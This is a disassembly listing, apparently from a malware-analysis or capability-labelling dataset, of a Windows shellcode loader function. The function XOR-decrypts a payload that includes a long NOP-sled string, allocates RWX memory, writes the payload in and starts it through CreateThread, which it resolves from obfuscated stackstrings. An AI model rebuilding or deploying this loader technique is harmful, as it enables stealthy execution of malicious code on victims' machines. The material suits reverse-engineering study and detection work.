Function at 0x140002530
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
movaps xmmword [rsp + 0x1e0], xmm6
xor r14d, r14d
cmp qword [rcx + 0x18], 0xf
jbe 0x140002560
mov rcx, qword [rcx]
mov r8d, 0x20
mov rdx, rcx
lea rcx, [rbp - 0x30]
call fcn.140005f10
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], r15
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x20], 6
jne 0x140002c32
mov qword [rsp + 0x40], r14
mov word [rsp + 0x48], 1
mov rcx, qword [rbp + rcx + 0x18]
mov qword [rsp + 0x30], rcx
test rcx, rcx
sete byte [rsp + 0x38]
mov byte [rsp + 0x39], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm6, xmmword [rsp + 0x40]
test rcx, rcx
je 0x14000263f
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000260b
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x14000260b
movzx eax, byte [rdx]
jmp 0x140002611
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x14000262b
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x30]
mov byte [rsp + 0x38], 1
movaps xmm0, xmmword [rsp + 0x30]
jmp 0x140002644
mov rax, r14
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], 1
movaps xmm0, xmmword [rsp + 0x30]
jmp 0x140002644
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x1400026c4
test rax, rax
je 0x1400026c9
movdqa xmmword [rsp + 0x40], xmm6
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.140007830
nop
lea rcx, [rbp - 0x20]
call fcn.140005e00
test rax, rax
jne 0x1400026dc
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x20]
and eax, 0x17
mov dword [rbp + rcx - 0x20], eax
mov edx, dword [rbp + rcx - 0x1c]
and edx, eax
je 0x1400026dc
test dl, 4
je 0x140002cb9
lea rbx, str.ios_base::badbit_set
jmp 0x140002cce
test rax, rax
je 0x140002653
movdqa xmm0, xmmword [0x140011fb0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
jmp 0x140002673
call fcn.1400081dc
mov rbx, rax
call fcn.1400081c0
mov rcx, rax
movabs rsi, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x140002705
imul rbx, rcx, 0x64
jmp 0x140002775
cmp rbx, 0x16e3600
jne 0x140002759
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x140002775
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call fcn.1400081dc
mov rdi, rax
call fcn.1400081c0
mov rcx, rax
cmp rdi, 0x989680
jne 0x140002794
imul rax, rcx, 0x64
jmp 0x140002803
cmp rdi, 0x16e3600
jne 0x1400027e8
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x140002803
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x140002823
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rbp + 0x120], rcx
jmp 0x140002834
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x120]
call fcn.140007a90
call fcn.1400081dc
mov rdi, rax
call fcn.1400081c0
mov r9, rax
cmp rdi, 0x989680
jne 0x14000285f
imul rcx, r9, 0x64
jmp 0x1400028ce
cmp rdi, 0x16e3600
jne 0x1400028b3
mov rax, rsi
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x1400028ce
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov edi, 0x7f149
sub edi, edx
lea ebx, [rdi + 0xb54]
nop dword [rax]
call fcn.140001de0
cmp ebx, 0x7f148
je 0x14000292c
inc ebx
mov eax, ebx
sub eax, edi
cmp eax, 0xc80
jle 0x140002900
mov ebx, dword [rbp + 0x120]
cmp ebx, 0x7f147
jle 0x140002be2
cmp ebx, 0x7f149
jae 0x140002be2
mov edx, ebx
lea rcx, [rbp - 0x60]
call fcn.140006780
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140002090
nop
lea rsi, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rsi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x130], rax
mov rax, r14
movdqa xmm2, xmmword [0x140012050]
lea rcx, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
nop word [rax + rax]
movdqu xmm0, xmmword [rax + rcx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rcx], xmm1
movdqu xmm0, xmmword [rax + rcx + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rcx + 0x10], xmm1
movdqu xmm0, xmmword [rax + rcx + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rcx + 0x20], xmm1
movdqu xmm0, xmmword [rax + rcx + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rcx + 0x30], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x140002990
cmp rax, 0xf01
jae 0x1400029ff
nop
xor byte [rax + rcx], 0xfe
inc rax
cmp rax, 0xf01
jb 0x1400029f0
call fcn.140001de0
call fcn.1400024b0
mov qword [rbp + 0x128], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x130]
xor r8d, r8d
lea rdx, [rbp + 0x128]
call fcn.140008180
mov rcx, qword [0x1400181f8]
test rcx, rcx
je 0x140002a85
lea r9, [rbp + 0x120]
mov edx, 8
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400181f8], r14
lea r9, [rbp + 0x120]
mov r8d, dword [rbp + 0x120]
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140001de0
mov rbx, qword [rbp + 0x130]
mov rdi, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], r14
mov r9, rbx
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140001de0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
mov r8, qword [rbp + 0x128]
xor edx, edx
xor ecx, ecx
call rbx
mov rdi, rax
movdqa xmm0, xmmword [str.WaitForSingleObj]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140001de0
mov edx, 0xffffffff
mov rcx, rdi
call rbx
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002b93
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cfd
call fcn.140009340
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002be2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d03
call fcn.140009340
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002c1d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cb3
call fcn.140009340
movdqa xmm0, xmmword [0x140011fb0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rax, qword [rbp - 0x30]
movsxd rax, dword [rax + 4]
mov qword [rbp + rax - 0x30], r15
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.140005460
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.140008a5c
nop
mov rbx, qword [rsp + 0x238]
movaps xmm6, xmmword [rsp + 0x1e0]
add rsp, 0x1f0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000d750
nop
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140001c80
lea rdx, [0x140015020]
lea rcx, [rbp - 0x60]
call sub.msvcrt.dll__CxxThrowException
nop
call fcn.14000d750
nop
call fcn.14000d750
int3